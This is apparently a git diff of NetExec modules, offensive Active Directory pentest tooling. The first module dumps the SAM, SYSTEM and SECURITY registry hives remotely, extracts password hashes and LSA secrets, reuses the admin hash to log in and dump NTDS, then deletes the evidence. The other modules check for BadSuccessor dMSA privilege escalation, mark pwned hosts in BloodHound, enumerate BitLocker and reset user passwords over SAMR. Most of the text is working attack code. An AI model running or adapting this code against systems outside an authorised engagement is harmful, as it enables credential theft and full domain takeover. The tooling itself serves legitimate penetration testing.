rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
-221
View File
@@ -1,221 +0,0 @@
from impacket.ldap import ldaptypes
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
RELEVANT_OBJECT_TYPES = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
# Define all access rights
ACCESS_RIGHTS = {
# Generic Rights
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
# Maximum Allowed access type
"MaximumAllowed": 0x02000000,
# Access System Acl access type
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
# Standard access types
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
"Delete": 0x00010000, # ADS_RIGHT_DELETE
# Specific rights
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
}
# Define which rights are considered relevant for potential abuse
RELEVANT_RIGHTS = {
"GenericAll": ACCESS_RIGHTS["GenericAll"],
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
"CreateChild": ACCESS_RIGHTS["CreateChild"],
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
}
FUNCTIONAL_LEVELS = {
"Windows 2000": 0,
"Windows Server 2003": 1,
"Windows Server 2003 R2": 2,
"Windows Server 2008": 3,
"Windows Server 2008 R2": 4,
"Windows Server 2012": 5,
"Windows Server 2012 R2": 6,
"Windows Server 2016": 7,
"Windows Server 2019": 8,
"Windows Server 2022": 9,
"Windows Server 2025": 10,
}
class NXCModule:
"""
-------
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
"""
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available"""
def is_excluded_sid(self, sid, domain_sid):
if sid in EXCLUDED_SIDS:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self, ldap_session, base_dn):
"""Retrieve the domain SID from the domain object in LDAP"""
r = ldap_session.search(
searchBase=base_dn,
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
parsed = parse_result_attributes(r)
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
domain_sid = self.get_domain_sid(ldap_session, base_dn)
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
dn = entry["distinguishedName"]
sd_data = entry["nTSecurityDescriptor"]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
for ace in sd["Dacl"]["Data"]:
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
has_relevant_right = False
mask = int(ace["Ace"]["Mask"]["Mask"])
for right_value in RELEVANT_RIGHTS.values():
if mask & right_value:
has_relevant_right = True
break
if not has_relevant_right:
continue # Skip this ACE if it doesn't have any relevant rights
object_type = getattr(ace, "ObjectType", None)
if object_type:
object_guid = ldaptypes.bin_to_string(object_type).lower()
if object_guid not in RELEVANT_OBJECT_TYPES:
continue
sid = ace["Ace"]["Sid"].formatCanonical()
if self.is_excluded_sid(sid, domain_sid):
continue
results.setdefault(sid, []).append(dn)
if hasattr(sd, "OwnerSid"):
owner_sid = str(sd["OwnerSid"])
if not self.is_excluded_sid(owner_sid, domain_sid):
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
ldap_session: The LDAP connection
sid: The SID to resolve
base_dn: The base DN for the LDAP search
Returns:
-------
str: The samAccountName if found, otherwise the original SID
"""
try:
search_filter = f"(objectSid={sid})"
response = ldap_session.search(
searchBase=base_dn,
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
parsed = parse_result_attributes(response)
if parsed and "sAMAccountName" in parsed[0]:
return parsed[0]["sAMAccountName"]
return sid
except Exception:
return sid
def on_login(self, context, connection):
# Check for a domain controller with Windows Server 2025
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
parsed_resp = parse_result_attributes(resp)
for dc in parsed_resp:
if "2025" in dc["operatingSystem"]:
out = connection.resolver(dc["dNSHostName"])
dc_ip = out["host"] if out else "Unknown IP"
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
else:
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls) # Fixed parameter name
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
if results:
context.log.success(f"Found {len(results)} results")
else:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(
connection.ldap_connection,
sid,
connection.ldap_connection._baseDN
)
for ou in ous:
if sid == samaccountname:
context.log.highlight(f"{sid}, {ou}")
else:
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
+87
View File
@@ -0,0 +1,87 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
-139
View File
@@ -1,139 +0,0 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
-149
View File
@@ -1,149 +0,0 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
class NXCModule:
"""
Module for changing or resetting user passwords
Module by Fagan Afandiyev, termanix and NeffIsBack
"""
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
def options(self, context, module_options):
"""
Required (one of):
NEWPASS The new password of the user.
NEWNTHASH The new NT hash of the user.
Optional:
USER The user account if the target is not the current user.
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
If want to change other user's password (with forcechangepassword priv or admin rights)
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
"""
self.newpass = module_options.get("NEWPASS")
self.newhash = module_options.get("NEWNTHASH")
self.target_user = module_options.get("USER")
if not self.newpass and not self.newhash:
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
sys.exit(1)
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
context.log.fail(f"DCE/RPC Exception: {e!s}")
raise
def on_login(self, context, connection):
self.context = context
target_username = self.target_user or connection.username
target_domain = connection.domain
# Grab all creds from the connection to use for authentication
self.oldpass = connection.password
self.oldhash = connection.nthash
new_lmhash, new_nthash = "", ""
# Parse new hash values if provided
if self.newhash:
try:
new_lmhash, new_nthash = self.newhash.split(":")
except ValueError:
new_nthash = self.newhash
try:
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
else:
raise
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
except Exception as e:
context.log.fail(f"Password change failed: {e}")
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
File diff suppressed because it is too large. Load diff
+125 -90
View File
@@ -1,17 +1,16 @@
import binascii
import codecs
import json
import re
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -66,7 +65,7 @@ WELL_KNOWN_SIDS = {
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
@@ -75,24 +74,24 @@ WELL_KNOWN_SIDS = {
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
}
@@ -200,6 +199,8 @@ class NXCModule:
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
@@ -220,6 +221,8 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -228,12 +231,12 @@ class NXCModule:
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options["TARGET"]):
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
context.log.fail("The file doesn't exist or cannot be openned.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
@@ -270,55 +273,41 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.connection = connection
self.context = context
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
_lookedup_principal = self.principal_sAMAccountName
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
attributes=["objectSid"],
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][1][0][1][0]
)
resp_parsed = parse_result_attributes(resp)[0]
self.principal_sid = resp_parsed["objectSid"]
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception as e:
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
try:
# Searching for target account with its security descriptor
if self.target_sAMAccountName: # noqa: SIM108
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
else:
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
resp = connection.search(
searchFilter=search_filter,
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
except Exception as e:
